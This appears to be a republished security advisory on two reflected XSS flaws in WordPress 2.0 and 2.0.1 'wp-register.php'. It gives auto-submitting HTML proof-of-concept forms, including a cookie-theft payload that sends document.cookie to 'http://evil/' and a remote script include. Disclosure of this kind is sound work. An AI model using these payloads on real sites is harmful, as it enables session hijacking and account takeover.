2 vanilla XSS on Wordpress āwp-register.phpā by Adrian Pasto
`
2 vanilla XSS on Wordpress āwp-register.phpā
by Adrian Pastor in News, WordPress |
There are two vanilla XSS on āwp-register.phpā. Only early versions of
the 2.0 branch are affected.
Version 2.0 is vulnerable through the āuser_loginā and āuser_emailā parameters.
Version 2.0.1 filters the āuser_loginā parameter but is still
vulnerable through the āuser_emailā parameter (half-baked fix?).
The XSS is only exploitable through a āPOSTā request.
WordPress 2.0.4 is not vulnerable, so Iām assuming anything after this
is not vulnerable either (unless there is a comeback of course).
Note: user registration is disabled by default. Only sites with āuser
registrationā enabled are affected.
line 16 and 17 on version 2.0.1 :
$user_login = sanitize_user( $_POST[āuser_loginā] );
$user_email = $_POST[āuser_emailā];
we can notice that āuser_loginā is sanitized but āuser_emailā is not
and eventually gets printed without further filtering on line 114:
<?php echo $user_email; ?>
I contacted the vendor and asked them if these issues had been fixed
silently since I couldnāt find them documented anywhere (even though
they had been fixed from version 2.0.4 on). However, I got NO response
from the vendor whatsoever.
simple PoC:
<html>
<head></head>
<body>
<form method="post" action="http://target/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='"><script>alert(1)</script>' />
<input type="hidden" name="user_email" id="user_email"
value='"><script>alert(2)</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
will popup ā1ā² and ā2ā² on version 2.0, and only ā2ā² on version 2.0.1.
cookie theft PoC:
<html>
<head></head>
<body>
<form method="post"
action="http://target/wordpress/wp-register.php#location='http://evil/?'+document.cookie"
>
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="anyusername" />
<input type="hidden" name="user_email" id="user_email"
value='"><script>eval(location.hash.substr(1))</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
unrestricted script insertion from third-party site
(we prove we can
inject ANY JS):
<html>
<head></head>
<body>
<form method="post" action="http://victim/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="test" />
<input type="hidden" name="user_email" id="user_email"
value='"><SCRIPT src=http://evil/jsfile></SCRIPT>'>
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. ContactĀ us for a demo andĀ discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo